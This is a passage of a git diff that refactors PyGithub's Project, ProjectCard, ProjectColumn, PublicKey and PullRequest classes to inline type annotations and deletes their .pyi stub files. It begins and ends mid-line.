NotSet, + private: Opt[bool] = NotSet, + ) -> None: """ :calls: `PATCH /projects/{project_id} `_ - :param name: string - :param body: string - :param state: string - :param organization_permission: string - :param private: bool - :rtype: None """ - assert name is github.GithubObject.NotSet or isinstance(name, str), name - assert body is github.GithubObject.NotSet or isinstance(body, str), body - assert state is github.GithubObject.NotSet or isinstance(state, str), state - assert organization_permission is github.GithubObject.NotSet or isinstance( - organization_permission, str - ), organization_permission - assert private is github.GithubObject.NotSet or isinstance( - private, bool - ), private - patch_parameters = dict() - if name is not github.GithubObject.NotSet: - patch_parameters["name"] = name - if body is not github.GithubObject.NotSet: - patch_parameters["body"] = body - if state is not github.GithubObject.NotSet: - patch_parameters["state"] = state - if organization_permission is not github.GithubObject.NotSet: - patch_parameters["organization_permission"] = organization_permission - if private is not github.GithubObject.NotSet: - patch_parameters["private"] = private + assert name is NotSet or isinstance(name, str), name + assert body is NotSet or isinstance(body, str), body + assert state is NotSet or isinstance(state, str), state + assert organization_permission is NotSet or isinstance(organization_permission, str), organization_permission + assert private is NotSet or isinstance(private, bool), private + patch_parameters = NotSet.remove_unset_items( + { + "name": name, + "body": body, + "state": state, + "organization_permission": organization_permission, + "private": private, + } + ) + headers, data = self._requester.requestJsonAndCheck( "PATCH", self.url, @@ -192,13 +185,12 @@ def edit( ) self._useAttributes(data) - def get_columns(self): + def get_columns(self) -> PaginatedList[github.ProjectColumn.ProjectColumn]: """ :calls: `GET /projects/{project_id}/columns `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.ProjectColumn.ProjectColumn` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.ProjectColumn.ProjectColumn, self._requester, self.columns_url, @@ -206,10 +198,9 @@ def get_columns(self): {"Accept": Consts.mediaTypeProjectsPreview}, ) - def create_column(self, name): + def create_column(self, name: str) -> github.ProjectColumn.ProjectColumn: """ calls: `POST /projects/{project_id}/columns `_ - :param name: string """ assert isinstance(name, str), name post_parameters = {"name": name} @@ -217,26 +208,9 @@ def create_column(self, name): headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/columns", headers=import_header, input=post_parameters ) - return github.ProjectColumn.ProjectColumn( - self._requester, headers, data, completed=True - ) - - def _initAttributes(self): - self._body = github.GithubObject.NotSet - self._columns_url = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._creator = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._node_id = github.GithubObject.NotSet - self._number = github.GithubObject.NotSet - self._owner_url = github.GithubObject.NotSet - self._state = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet + return github.ProjectColumn.ProjectColumn(self._requester, headers, data, completed=True) - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "columns_url" in attributes: # pragma no branch @@ -244,9 +218,7 @@ def _useAttributes(self, attributes): if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "creator" in attributes: # pragma no branch - self._creator = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["creator"] - ) + self._creator = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["creator"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch diff --git a/github/Project.pyi b/github/Project.pyi deleted file mode 100644 index 9ab38c307f..0000000000 --- a/github/Project.pyi +++ /dev/null @@ -1,40 +0,0 @@ -from datetime import datetime -from typing import Any, Dict - -from github.GithubObject import CompletableGithubObject -from github.NamedUser import NamedUser -from github.PaginatedList import PaginatedList -from github.ProjectColumn import ProjectColumn - -class Project(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def body(self) -> str: ... - @property - def columns_url(self) -> str: ... - def create_column(self, name: str) -> ProjectColumn: ... - @property - def created_at(self) -> datetime: ... - @property - def creator(self) -> NamedUser: ... - def get_columns(self) -> PaginatedList[ProjectColumn]: ... - @property - def html_url(self) -> str: ... - @property - def id(self) -> int: ... - @property - def name(self) -> str: ... - @property - def node_id(self) -> str: ... - @property - def number(self) -> int: ... - @property - def owner_url(self) -> str: ... - @property - def state(self) -> str: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... diff --git a/github/ProjectCard.py b/github/ProjectCard.py index 56897991fe..14caa34991 100644 --- a/github/ProjectCard.py +++ b/github/ProjectCard.py @@ -1,6 +1,27 @@ ############################ Copyrights and license ############################ # # -# Copyright 2018 bbi-yggy # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2015 Matt Babineau # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Martijn Koster # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 Yossarian King # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Jody McIntyre # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 chloe jungah kim <43295963+chloeeekim@users.noreply.github.com># +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,9 +41,17 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations -from . import Consts +from datetime import datetime +from typing import Any + +import github.Issue +import github.NamedUser +import github.ProjectColumn +import github.PullRequest +from github import Consts +from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt # NOTE: There is currently no way to get cards "in triage" for a project. # https://platform.github.community/t/moving-github-project-cards-that-are-in-triage/3784 @@ -31,103 +60,84 @@ # which may point the way to where the API is likely headed and what might come back to v3. E.g. ProjectCard.content member. -class ProjectCard(github.GithubObject.CompletableGithubObject): +class ProjectCard(CompletableGithubObject): """ This class represents Project Cards. The reference can be found here https://docs.github.com/en/rest/reference/projects#cards """ - def __repr__(self): + def _initAttributes(self) -> None: + self._archived: Attribute[bool] = NotSet + self._column_url: Attribute[str] = NotSet + self._content_url: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._creator: Attribute[github.NamedUser.NamedUser] = NotSet + self._id: Attribute[int] = NotSet + self._node_id: Attribute[str] = NotSet + self._note: Attribute[str] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value}) @property - def archived(self): - """ - :type: bool - """ + def archived(self) -> bool: return self._archived.value @property - def column_url(self): - """ - :type: string - """ + def column_url(self) -> str: return self._column_url.value @property - def content_url(self): - """ - :type: string - """ + def content_url(self) -> str: return self._content_url.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: return self._created_at.value @property - def creator(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def creator(self) -> github.NamedUser.NamedUser: return self._creator.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: return self._id.value @property - def node_id(self): - """ - :type: string - """ + def node_id(self) -> str: return self._node_id.value @property - def note(self): - """ - :type: string - """ + def note(self) -> str: return self._note.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: return self._url.value # Note that the content_url for any card will be an "issue" URL, from # which you can retrieve either an Issue or a PullRequest. Unfortunately # the API doesn't make it clear which you are dealing with. - def get_content(self, content_type=github.GithubObject.NotSet): + def get_content( + self, content_type: Opt[str] = NotSet + ) -> github.PullRequest.PullRequest | github.Issue.Issue | None: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number} `_ - :param content_type: string, optional - :rtype: :class:`github.PullRequest.PullRequest` or :class:`github.Issue.Issue` """ - assert content_type is github.GithubObject.NotSet or isinstance( - content_type, str - ), content_type + assert content_type is NotSet or isinstance(content_type, str), content_type if self.content_url is None: return None + retclass: type[github.PullRequest.PullRequest] | type[github.Issue.Issue] if content_type == "PullRequest": url = self.content_url.replace("issues", "pulls") retclass = github.PullRequest.PullRequest - elif content_type is github.GithubObject.NotSet or content_type == "Issue": + elif content_type is NotSet or content_type == "Issue": url = self.content_url retclass = github.Issue.Issue else: @@ -135,22 +145,15 @@ def get_content(self, content_type=github.GithubObject.NotSet): headers, data = self._requester.requestJsonAndCheck("GET", url) return retclass(self._requester, headers, data, completed=True) - def move(self, position, column): + def move(self, position: str, column: github.ProjectColumn.ProjectColumn | int) -> bool: """ :calls: `POST /projects/columns/cards/{card_id}/moves `_ - :param position: string - :param column: :class:`github.ProjectColumn.ProjectColumn` or int - :rtype: bool """ assert isinstance(position, str), position - assert isinstance(column, github.ProjectColumn.ProjectColumn) or isinstance( - column, int - ), column + assert isinstance(column, github.ProjectColumn.ProjectColumn) or isinstance(column, int), column post_parameters = { "position": position, - "column_id": column.id - if isinstance(column, github.ProjectColumn.ProjectColumn) - else column, + "column_id": column.id if isinstance(column, github.ProjectColumn.ProjectColumn) else column, } status, _, _ = self._requester.requestJson( "POST", @@ -160,10 +163,9 @@ def move(self, position, column): ) return status == 201 - def delete(self): + def delete(self) -> bool: """ :calls: `DELETE /projects/columns/cards/{card_id} `_ - :rtype: bool """ status, _, _ = self._requester.requestJson( "DELETE", @@ -172,24 +174,13 @@ def delete(self): ) return status == 204 - def edit( - self, note=github.GithubObject.NotSet, archived=github.GithubObject.NotSet - ): + def edit(self, note: Opt[str] = NotSet, archived: Opt[bool] = NotSet) -> None: """ :calls: `PATCH /projects/columns/cards/{card_id} `_ - :param note: string - :param archived: bool - :rtype: None """ - assert note is github.GithubObject.NotSet or isinstance(note, str), note - assert archived is github.GithubObject.NotSet or isinstance( - archived, bool - ), archived - patch_parameters = dict() - if note is not github.GithubObject.NotSet: - patch_parameters["note"] = note - if archived is not github.GithubObject.NotSet: - patch_parameters["archived"] = archived + assert note is NotSet or isinstance(note, str), note + assert archived is NotSet or isinstance(archived, bool), archived + patch_parameters: dict[str, Any] = NotSet.remove_unset_items({"note": note, "archived": archived}) headers, data = self._requester.requestJsonAndCheck( "PATCH", self.url, @@ -198,19 +189,7 @@ def edit( ) self._useAttributes(data) - def _initAttributes(self): - self._archived = github.GithubObject.NotSet - self._column_url = github.GithubObject.NotSet - self._content_url = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._creator = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._node_id = github.GithubObject.NotSet - self._note = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "archived" in attributes: # pragma no branch self._archived = self._makeBoolAttribute(attributes["archived"]) if "column_url" in attributes: # pragma no branch @@ -220,9 +199,7 @@ def _useAttributes(self, attributes): if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "creator" in attributes: # pragma no branch - self._creator = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["creator"] - ) + self._creator = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["creator"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "node_id" in attributes: # pragma no branch diff --git a/github/ProjectCard.pyi b/github/ProjectCard.pyi deleted file mode 100644 index b31913c7c2..0000000000 --- a/github/ProjectCard.pyi +++ /dev/null @@ -1,38 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, Optional, Union - -from github.GithubObject import CompletableGithubObject, _NotSetType -from github.Issue import Issue -from github.NamedUser import NamedUser -from github.PullRequest import PullRequest - -class ProjectCard(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def archived(self) -> bool: ... - @property - def column_url(self) -> str: ... - @property - def content_url(self) -> Optional[str]: ... - @property - def created_at(self) -> datetime: ... - @property - def creator(self) -> NamedUser: ... - def get_content( - self, content_type: Union[_NotSetType, str] = ... - ) -> Optional[Union[PullRequest, Issue]]: ... - def edit( - self, note=Union[_NotSetType, str], archived=Union[_NotSetType, bool] - ) -> None: ... - @property - def id(self) -> int: ... - @property - def node_id(self) -> str: ... - @property - def note(self) -> str: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... diff --git a/github/ProjectColumn.py b/github/ProjectColumn.py index 781f72c0c0..65b27cd5d2 100644 --- a/github/ProjectColumn.py +++ b/github/ProjectColumn.py @@ -1,6 +1,30 @@ ############################ Copyrights and license ############################ # # -# Copyright 2018 bbi-yggy # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2015 Matt Babineau # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Martijn Koster # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 Yossarian King # +# Copyright 2018 sfdye # +# Copyright 2019 Benoit Latinier # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Vincent # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Alice GIRARD # +# Copyright 2020 Florent Clarret # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Dhruv Bhanushali # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,92 +44,81 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import Any + import github.GithubObject import github.Project import github.ProjectCard +from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt +from github.PaginatedList import PaginatedList from . import Consts -class ProjectColumn(github.GithubObject.CompletableGithubObject): +class ProjectColumn(CompletableGithubObject): """ This class represents Project Columns. The reference can be found here https://docs.github.com/en/rest/reference/projects#columns """ - def __repr__(self): + def _initAttributes(self) -> None: + self._cards_url: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._id: Attribute[int] = NotSet + self._name: Attribute[str] = NotSet + self._node_id: Attribute[str] = NotSet + self._project_url: Attribute[str] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property - def cards_url(self): - """ - :type: string - """ + def cards_url(self) -> str: return self._cards_url.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: return self._created_at.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: return self._id.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: return self._name.value @property - def node_id(self): - """ - :type: string - """ + def node_id(self) -> str: return self._node_id.value @property - def project_url(self): - """ - :type: string - """ + def project_url(self) -> str: return self._project_url.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: return self._url.value - def get_cards(self, archived_state=github.GithubObject.NotSet): + def get_cards(self, archived_state: Opt[str] = NotSet) -> PaginatedList[github.ProjectCard.ProjectCard]: """ :calls: `GET /projects/columns/{column_id}/cards `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.ProjectCard.ProjectCard` - :param archived_state: string """ - assert archived_state is github.GithubObject.NotSet or isinstance( - archived_state, str - ), archived_state + assert archived_state is NotSet or isinstance(archived_state, str), archived_state url_parameters = dict() - if archived_state is not github.GithubObject.NotSet: + if archived_state is not NotSet: url_parameters["archived_state"] = archived_state - return github.PaginatedList.PaginatedList( + return PaginatedList( github.ProjectCard.ProjectCard, self._requester, f"{self.url}/cards", @@ -115,24 +128,19 @@ def get_cards(self, archived_state=github.GithubObject.NotSet): def create_card( self, - note=github.GithubObject.NotSet, - content_id=github.GithubObject.NotSet, - content_type=github.GithubObject.NotSet, - ): + note: Opt[str] = NotSet, + content_id: Opt[int] = NotSet, + content_type: Opt[str] = NotSet, + ) -> github.ProjectCard.ProjectCard: """ :calls: `POST /projects/columns/{column_id}/cards `_ - :param note: string - :param content_id: integer - :param content_type: string - - :rtype: :class:`github.ProjectCard.ProjectCard`: """ if isinstance(note, str): - assert content_id is github.GithubObject.NotSet, content_id - assert content_type is github.GithubObject.NotSet, content_type - post_parameters = {"note": note} + assert content_id is NotSet, content_id + assert content_type is NotSet, content_type + post_parameters: dict[str, Any] = {"note": note} else: - assert note is github.GithubObject.NotSet, note + assert note is NotSet, note assert isinstance(content_id, int), content_id assert isinstance(content_type, str), content_type post_parameters = {"content_id": content_id, "content_type": content_type} @@ -141,16 +149,11 @@ def create_card( headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/cards", headers=import_header, input=post_parameters ) - return github.ProjectCard.ProjectCard( - self._requester, headers, data, completed=True - ) + return github.ProjectCard.ProjectCard(self._requester, headers, data, completed=True) - def move(self, position): + def move(self, position: str) -> bool: """ :calls: `POST POST /projects/columns/{column_id}/moves `_ - :param position: string - - :rtype: bool """ assert isinstance(position, str), position post_parameters = {"position": position} @@ -162,10 +165,9 @@ def move(self, position): ) return status == 201 - def delete(self): + def delete(self) -> bool: """ :calls: `DELETE /projects/columns/{column_id} `_ - :rtype: bool """ status, _, _ = self._requester.requestJson( "DELETE", @@ -174,11 +176,9 @@ def delete(self): ) return status == 204 - def edit(self, name): + def edit(self, name: str) -> None: """ :calls: `PATCH /projects/columns/{column_id} `_ - :param name: string - :rtype: None """ assert isinstance(name, str), name patch_parameters = {"name": name} @@ -192,17 +192,7 @@ def edit(self, name): self._useAttributes(data) - def _initAttributes(self): - self._cards_url = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._node_id = github.GithubObject.NotSet - self._project_url = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "cards_url" in attributes: # pragma no branch self._cards_url = self._makeStringAttribute(attributes["cards_url"]) if "created_at" in attributes: # pragma no branch diff --git a/github/ProjectColumn.pyi b/github/ProjectColumn.pyi deleted file mode 100644 index a30d11df07..0000000000 --- a/github/ProjectColumn.pyi +++ /dev/null @@ -1,39 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, Union - -from github.GithubObject import CompletableGithubObject, _NotSetType -from github.PaginatedList import PaginatedList -from github.ProjectCard import ProjectCard - -class ProjectColumn(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def cards_url(self) -> str: ... - def create_card( - self, - note: Union[_NotSetType, str] = ..., - content_id: Union[int, _NotSetType] = ..., - content_type: Union[_NotSetType, str] = ..., - ) -> ProjectCard: ... - @property - def created_at(self) -> datetime: ... - def get_cards( - self, archived_state: Union[_NotSetType, str] = ... - ) -> PaginatedList[ProjectCard]: ... - @property - def id(self) -> int: ... - @property - def name(self) -> str: ... - @property - def node_id(self) -> str: ... - @property - def project_url(self) -> str: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... - def move(self, position: str) -> bool: ... - def delete(self) -> bool: ... - def edit(self, name: str) -> None: ... diff --git a/github/PublicKey.py b/github/PublicKey.py index 28118edfe4..6c24a801c4 100644 --- a/github/PublicKey.py +++ b/github/PublicKey.py @@ -9,6 +9,14 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Chris Keating # +# Copyright 2021 MeggyCal # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -29,59 +37,56 @@ ################################################################################ # https://docs.github.com/en/rest/reference/actions#example-encrypting-a-secret-using-python +from __future__ import annotations + from base64 import b64encode +from typing import Any from nacl import encoding, public -import github.GithubObject +from github.GithubObject import Attribute, CompletableGithubObject, NotSet def encrypt(public_key: str, secret_value: str) -> str: """Encrypt a Unicode string using the public key.""" - public_key = public.PublicKey(public_key.encode("utf-8"), encoding.Base64Encoder()) - sealed_box = public.SealedBox(public_key) + pk = public.PublicKey(public_key.encode("utf-8"), encoding.Base64Encoder) + sealed_box = public.SealedBox(pk) encrypted = sealed_box.encrypt(secret_value.encode("utf-8")) return b64encode(encrypted).decode("utf-8") -class PublicKey(github.GithubObject.CompletableGithubObject): +class PublicKey(CompletableGithubObject): """ This class represents either an organization public key or a repository public key. The reference can be found here https://docs.github.com/en/rest/reference/actions#get-an-organization-public-key or here https://docs.github.com/en/rest/reference/actions#get-a-repository-public-key """ - def __repr__(self): + def _initAttributes(self) -> None: + self._key_id: Attribute[str | int] = NotSet + self._key: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"key_id": self._key_id.value, "key": self._key.value}) @property - def key(self): - """ - :type: string - """ + def key(self) -> str: self._completeIfNotSet(self._key) return self._key.value @property - def key_id(self): - """ - :type: string or int - """ + def key_id(self) -> str | int: self._completeIfNotSet(self._key_id) return self._key_id.value - def _initAttributes(self): - self._key = github.GithubObject.NotSet - self._key_id = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "key" in attributes: # pragma no branch self._key = self._makeStringAttribute(attributes["key"]) if "key_id" in attributes: # pragma no branch - if type(attributes["key_id"]) == str: + if isinstance(attributes["key_id"], str): self._key_id = self._makeStringAttribute(attributes["key_id"]) else: self._key_id = self._makeIntAttribute(attributes["key_id"]) - def encrypt(self, unencrypted_value): + def encrypt(self, unencrypted_value: str) -> str: return encrypt(self._key.value, unencrypted_value) diff --git a/github/PublicKey.pyi b/github/PublicKey.pyi deleted file mode 100644 index 4f7b47bde3..0000000000 --- a/github/PublicKey.pyi +++ /dev/null @@ -1,13 +0,0 @@ -from typing import Any, Dict, Union - -from github.GithubObject import CompletableGithubObject - -class PublicKey(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def key_id(self) -> Union[str, int]: ... - @property - def key(self) -> str: ... - def encrypt(self, unencrypted_value: str) -> str: ... diff --git a/github/PullRequest.py b/github/PullRequest.py index a7e9bb7f49..741fbe6f61 100644 --- a/github/PullRequest.py +++ b/github/PullRequest.py @@ -13,14 +13,37 @@ # Copyright 2017 Aaron Levine # # Copyright 2017 Simon # # Copyright 2018 Ben Yohay # +# Copyright 2018 Brian J. Murrell # # Copyright 2018 Gilad Shefer # # Copyright 2018 Martin Monperrus # # Copyright 2018 Matt Babineau <9685860+babineaum@users.noreply.github.com> # # Copyright 2018 Shinichi TAMURA # # Copyright 2018 Steve Kowalik # # Copyright 2018 Thibault Jamet # +# Copyright 2018 Wan Liuyang # # Copyright 2018 per1234 # # Copyright 2018 sfdye # +# Copyright 2019 MarcoFalke # +# Copyright 2019 Mark Browning # +# Copyright 2019 MurphyZhao # +# Copyright 2019 Olof-Joachim Frahm (欧雅福) # +# Copyright 2019 Pavan Kunisetty # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Tim Gates # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Alice GIRARD # +# Copyright 2020 Florent Clarret # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2022 tison # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Heitor Polidoro <14806300+heitorpolidoro@users.noreply.github.com># +# Copyright 2023 Heitor Polidoro # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # +# Copyright 2023 sd-kialo <138505487+sd-kialo@users.noreply.github.com> # +# Copyright 2023 vanya20074 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -40,13 +63,20 @@ # # ################################################################################ -import datetime +from __future__ import annotations + import urllib.parse +from datetime import datetime +from typing import TYPE_CHECKING, Any + +from typing_extensions import NotRequired, TypedDict import github.Commit import github.File -import github.GithubObject import github.IssueComment +import github.IssueEvent +import github.Label +import github.Milestone import github.NamedUser import github.PaginatedList import github.PullRequestComment @@ -54,393 +84,367 @@ import github.PullRequestPart import github.PullRequestReview import github.Team - -from . import Consts - - -class PullRequest(github.GithubObject.CompletableGithubObject): +from github import Consts +from github.GithubObject import ( + Attribute, + CompletableGithubObject, + NotSet, + Opt, + is_defined, + is_optional, + is_optional_list, + is_undefined, +) +from github.Issue import Issue +from github.PaginatedList import PaginatedList + +if TYPE_CHECKING: + from github.NamedUser import NamedUser + + +class ReviewComment(TypedDict): + path: str + position: NotRequired[int] + body: str + line: NotRequired[int] + side: NotRequired[str] + start_line: NotRequired[int] + start_side: NotRequired[str] + + +class PullRequest(CompletableGithubObject): """ This class represents PullRequests. The reference can be found here https://docs.github.com/en/rest/reference/pulls """ - def __repr__(self): - return self.get__repr__( - {"number": self._number.value, "title": self._title.value} - ) - - @property - def additions(self): - """ - :type: integer - """ + def _initAttributes(self) -> None: + self._additions: Attribute[int] = NotSet + self._assignee: Attribute[github.NamedUser.NamedUser] = NotSet + self._assignees: Attribute[list[NamedUser]] = NotSet + self._base: Attribute[github.PullRequestPart.PullRequestPart] = NotSet + self._body: Attribute[str] = NotSet + self._changed_files: Attribute[int] = NotSet + self._closed_at: Attribute[datetime | None] = NotSet + self._comments: Attribute[int] = NotSet + self._comments_url: Attribute[str] = NotSet + self._commits: Attribute[int] = NotSet + self._commits_url: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._deletions: Attribute[int] = NotSet + self._diff_url: Attribute[str] = NotSet + self._draft: Attribute[bool] = NotSet + self._head: Attribute[github.PullRequestPart.PullRequestPart] = NotSet + self._html_url: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._issue_url: Attribute[str] = NotSet + self._labels: Attribute[list[github.Label.Label]] = NotSet + self._merge_commit_sha: Attribute[str] = NotSet + self._mergeable: Attribute[bool] = NotSet + self._mergeable_state: Attribute[str] = NotSet + self._merged: Attribute[bool] = NotSet + self._merged_at: Attribute[datetime | None] = NotSet + self._merged_by: Attribute[github.NamedUser.NamedUser] = NotSet + self._milestone: Attribute[github.Milestone.Milestone] = NotSet + self._number: Attribute[int] = NotSet + self._patch_url: Attribute[str] = NotSet + self._rebaseable: Attribute[bool] = NotSet + self._requested_reviewers: Attribute[list[NamedUser]] = NotSet + self._review_comment_url: Attribute[str] = NotSet + self._review_comments: Attribute[int] = NotSet + self._review_comments_url: Attribute[str] = NotSet + self._state: Attribute[str] = NotSet + self._title: Attribute[str] = NotSet + self._updated_at: Attribute[datetime | None] = NotSet + self._url: Attribute[str] = NotSet + self._user: Attribute[github.NamedUser.NamedUser] = NotSet + self._maintainer_can_modify: Attribute[bool] = NotSet + self._node_id: Attribute[str] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"number": self._number.value, "title": self._title.value}) + + @property + def additions(self) -> int: self._completeIfNotSet(self._additions) return self._additions.value @property - def assignee(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def assignee(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._assignee) return self._assignee.value @property - def assignees(self): - """ - :type: list of :class:`github.NamedUser.NamedUser` - """ + def assignees(self) -> list[github.NamedUser.NamedUser]: self._completeIfNotSet(self._assignees) return self._assignees.value @property - def base(self): - """ - :type: :class:`github.PullRequestPart.PullRequestPart` - """ + def base(self) -> github.PullRequestPart.PullRequestPart: self._completeIfNotSet(self._base) return self._base.value @property - def body(self): - """ - :type: string - """ + def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property - def changed_files(self): - """ - :type: integer - """ + def changed_files(self) -> int: self._completeIfNotSet(self._changed_files) return self._changed_files.value @property - def closed_at(self): - """ - :type: datetime.datetime - """ + def closed_at(self) -> datetime | None: self._completeIfNotSet(self._closed_at) return self._closed_at.value @property - def comments(self): - """ - :type: integer - """ + def comments(self) -> int: self._completeIfNotSet(self._comments) return self._comments.value @property - def comments_url(self): - """ - :type: string - """ + def comments_url(self) -> str: self._completeIfNotSet(self._comments_url) return self._comments_url.value @property - def commits(self): - """ - :type: integer - """ + def commits(self) -> int: self._completeIfNotSet(self._commits) return self._commits.value @property - def commits_url(self): - """ - :type: string - """ + def commits_url(self) -> str: self._completeIfNotSet(self._commits_url) return self._commits_url.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def deletions(self): - """ - :type: integer - """ + def deletions(self) -> int: self._completeIfNotSet(self._deletions) return self._deletions.value @property - def diff_url(self): - """ - :type: string - """ + def diff_url(self) -> str: self._completeIfNotSet(self._diff_url) return self._diff_url.value @property - def draft(self): - """ - :type: bool - """ + def draft(self) -> bool: self._completeIfNotSet(self._draft) return self._draft.value @property - def head(self): - """ - :type: :class:`github.PullRequestPart.PullRequestPart` - """ + def head(self) -> 